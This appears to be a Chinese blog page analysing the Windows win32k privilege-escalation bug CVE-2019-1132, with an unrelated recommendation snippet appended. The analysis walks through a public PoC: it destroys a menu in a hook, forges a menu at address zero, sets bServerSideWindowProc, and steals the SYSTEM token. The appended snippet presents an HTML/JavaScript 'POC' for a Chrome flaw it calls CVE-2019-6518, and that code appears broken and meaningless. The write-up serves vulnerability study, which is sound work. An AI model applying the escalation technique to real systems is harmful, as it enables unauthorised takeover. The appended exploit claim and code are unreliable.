知道cve编号怎么搜poc_CVE-2019-1132详细分析

8bc62771ca9b65bff7562a3d0aee4e3f.png

今年6月份,ESET研究人员发现了Buhtrap组织在针对东欧的APT攻击中使用的样本,样本使用了Windows的0 DAY漏洞。7月份,微软发布了针对此漏洞的补丁,这个漏洞是CVE-2019-1132。因为该漏洞被长期使用在APT攻击中,所以这次事件也引起了很大的影响。本文的主要目的是对CVE-2019-1132这个漏洞做一个详细的分析,利用的PoC来自于SHIVAM TRIVEDI。

安全人员发现该漏洞是一个提权漏洞,利用了win32k.sys中的空指针间接引用。SHIVAM TRIVEDI提供的PoC在Windows 7 32(Win7 32Bit Build 7601版本)位上可以成功利用。

漏洞描述

漏洞编号:CVE-2019-1132

漏洞描述:当Win32k组件无法正确处理内存中的对象时,Windows中存在一个提权漏洞,即“Win32k提权漏洞”

受影响版本:

Windows 7 for 32-bit Systems Service Pack 1

Windows 7 for x64-based Systems Service Pack 1

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for Itanium-Based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1

行为流程

036410f5268629b7c5a11da4fa4b5753.png

详细分析

1.利用的基础

为了完成这个利用,首先需要创建一个多级菜单和两个窗口(我们称它们为Main窗口和Hunt窗口)。

93f32053cd9d67aab84d83749e418933.png

这三部分是完成整个利用的所有基础,利用的两个关键步骤在于tagPopupMenu和tagWND数据结构的修改(tagPopupMenu和tagWND分别是内核中表示菜单和窗体的数据结构。)。下面我们来看一下重要的代码。

首先,需要创建一个3级的菜单,第一个菜单我们称为Root菜单,其他两个菜单被设置为Root菜单的子菜单。

3462c17a62794c89f9b957b9b8617d8c.png

然后创建两个窗体,即Main窗体和Hunt窗体。

c9dc06fd510b02b92bc5476828ad2a7b.png

在窗体创建完成以后,需要给该进程设置窗体的消息Hook和事件Hook。

对于消息Hook来说,重要之处是在窗体创建的时候,向第一个Menu发送MN_CANCELMENUS消息,从而销毁第一个菜单。

e3c0bc52b5609de052a93d5613482738.png

对于事件Hook来说,向窗体发送特定的菜单消息,以保证能触发特定的内核函数。

614f3317d6e4dae0fb6557b05c3d94d0.png

2.利用的过程

接下来,我们看一下,漏洞的形成和触发。

在这里我们要先说一下内核中菜单的数据结构tagWnd,tagWnd数据结构中的ppopupmenuRoot项指向了它的子菜单的数据结构,当它被销毁的时候,这个指针被置为null,也就是0。

fed00b3a55400b88f860ce18e5ecf8a8.png

触动漏洞的过程开始于TrackPopupMenu的使用。

2ad9ae9ce34c2792a349912dc22d1dbd.png

当上面基础都准备好后,在调用TrackPopupMenu函数在Main窗体上显示菜单时,菜单被创建,所以菜单窗体的消息HOOK函数就会被执行,当消息HOOK函数检测到WM_NCCREATE消息和其他条件都满足的时候,就向ROOT菜单发送一个WM_CANCELMENUS消息,以销毁ROOT菜单。这个时候ROOT菜单数据结构的ppopupmenuRoot项变成了0。而这个时候,其他的子菜单仍然会继续创建。

d2963949614824c5216edcb6e3c6bd54.png

ppopupmenuRoot为0,意味着在ROOT菜单可以引用地址为0的子菜单。接下来,在地址为0的地方分配内存,在这里构造了一个虚假的菜单。

51d7782544733b321af8f432d6020e03.png

和这个虚假的菜单相关联的重要概念是tagWND,也就是内核窗体数据结构。我们看一下tagWND数据结构。其中有一个非常重要的标识bServerSideWindowProc,这个标识的值如果被置1,那么窗体的回调函数会在内核态中被执行。

5863b3c65a59b3d1b765968713caad65.png

该利用使用了Hunt窗体作为最终的利用目标。为了达到这个目的,首先要获取窗口数据结构地址。

3d46687d1addc56cf1105c5544dc58c0.png

我们可以看到名为xxHMValidateHandle的函数获取了PTHREDSKHEAD的数据结构,这个结构中包含了窗体数据结构的地址。这个函数的原型应该来自于内核函数win32k!ValidateMenu。

f4b1c67d2b402f0769f319d2da313697.png

然后,Hunt窗体的数据结构的一个特殊地址被赋值给了这个精心构造的假菜单。

daac592a949532674ef58ea662ad9fa7.png

我们再次调用TrackPopupMenuEx函数通过ROOT菜单和虚假的菜单来撬动利用。这次,Hunt窗体的bServerSideWindowProc会被置为1。

c74879fa915839517351352f5f44b3ea.png

最后向Hunt窗体发送消息0x1234,Hunt窗体的默认回调函数就会在内核空间中执行了。

a8e69f697b8f8eed8ea87ce6b0ecabac.png

在Hut窗体的默认回调函数中拷贝SYSMTEM进程的TOKEN给自身,就实现了进程的提权操作。

e42b4745b73d9aac897d999c4d0e3320.png

(上图是成功提权)

参考链接:

https://www.welivesecurity.com/2019/07/10/windows-zero-day-cve-2019-1132-exploit/

防护措施

1.不要轻易打开可疑文件,如电子邮件、可疑链接、可疑文档等等;

2.及时安装系统补丁,使用最新版本的软件;

3.安装杀毒软件,及时更新病毒库;

4.使用“铁穹高级持续性威胁预警系统”(简称“铁穹”)发现潜在的攻击行为,及时响应和阻断,避免造成业务中断或经济损失。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2019-6518是Chrome浏览器的一个漏洞,攻击者可以通过该漏洞在用户计算机上执行任意代码。这个漏洞在Chrome 72之前的版本中存在。 以下是一个简单的POC: ```html <!DOCTYPE html> <html> <head> <title>CVE-2019-6518 POC</title> </head> <body> <script> var spray = new Array(); var i = 0; for (; i < 0x100; i++) { spray[i] = new Uint32Array(0x1000); } var oobArray = new Array(1); var maxSizeInDouble = 0x7fffffff; oobArray[0] = 0.1; var maxSizeInInt = new Int64(maxSizeInDouble); var idx = 0; var victim = null; function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } } function spray_dv() { var dv = new DataView(new ArrayBuffer(8)); var o = {a: 0}; var array = [o, 0.1, o]; var unboxed = new Array(0x1000).fill(0.1); var boxed = [{}]; boxed[0]['a'] = {}; boxed[0]['a']['b'] = 1.1; boxed[0]['c'] = unboxed; var maxInt = 0x7ffffff0; var minInt = 0x01000000; var kMaxNumIter = 100000; for (var k = 0; k < kMaxNumIter; k++) { var idx = ((maxInt - minInt) * Math.random()) + minInt; dv.setInt32(0, idx, true); var num = dv.getFloat64(0, true); if ((num >= 0x01000000 && num <= 0x7fffffff) || (num >= -0x80000000 && num < -0x7ffffff0) || (num >= -0x100000000 && num < -0xfffffffe)) { return; } } } function trigger() { var o = {a: 1.2}; var arr = [o, 0.1, o]; var n = arr.length - 1; var idx = 0x7ffffff0; var dv = new DataView(new ArrayBuffer(8)); var unboxed = new Array(0x1000).fill(0.1); var boxed = [{}]; boxed[0]['a'] = {}; boxed[0]['a']['b'] = 1.1; boxed[0]['c'] = unboxed; var maxInt = 0x7ffffff0; var minInt = 0x01000000; var kMaxNumIter = 100000; for (var k = 0; k < kMaxNumIter; k++) { var idx = ((maxInt - minInt) * Math.random()) + minInt; dv.setInt32(0, idx, true); var num = dv.getFloat64(0, true); if ((num >= 0x01000000 && num <= 0x7fffffff) || (num >= -0x80000000 && num < -0x7ffffff0) || (num >= -0x100000000 && num < -0xfffffffe)) { break; } } arr[n] = victim; } function corrupt() { gc(); spray_dv(); oobArray[0] = 1.1; victim = oobArray[0]; for (i = 0; i < 10000; i++) { trigger(); } alert(victim); } corrupt(); </script> </body> </html> ``` 该POC利用了Chrome中的数组越界漏洞,通过这个漏洞可以读写到数组之外的内存,从而达到任意代码执行的目的。请注意,这个POC只是一个演示,如果您想在实际环境中使用它,请务必小心,因为它可能会导致严重的安全问题。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值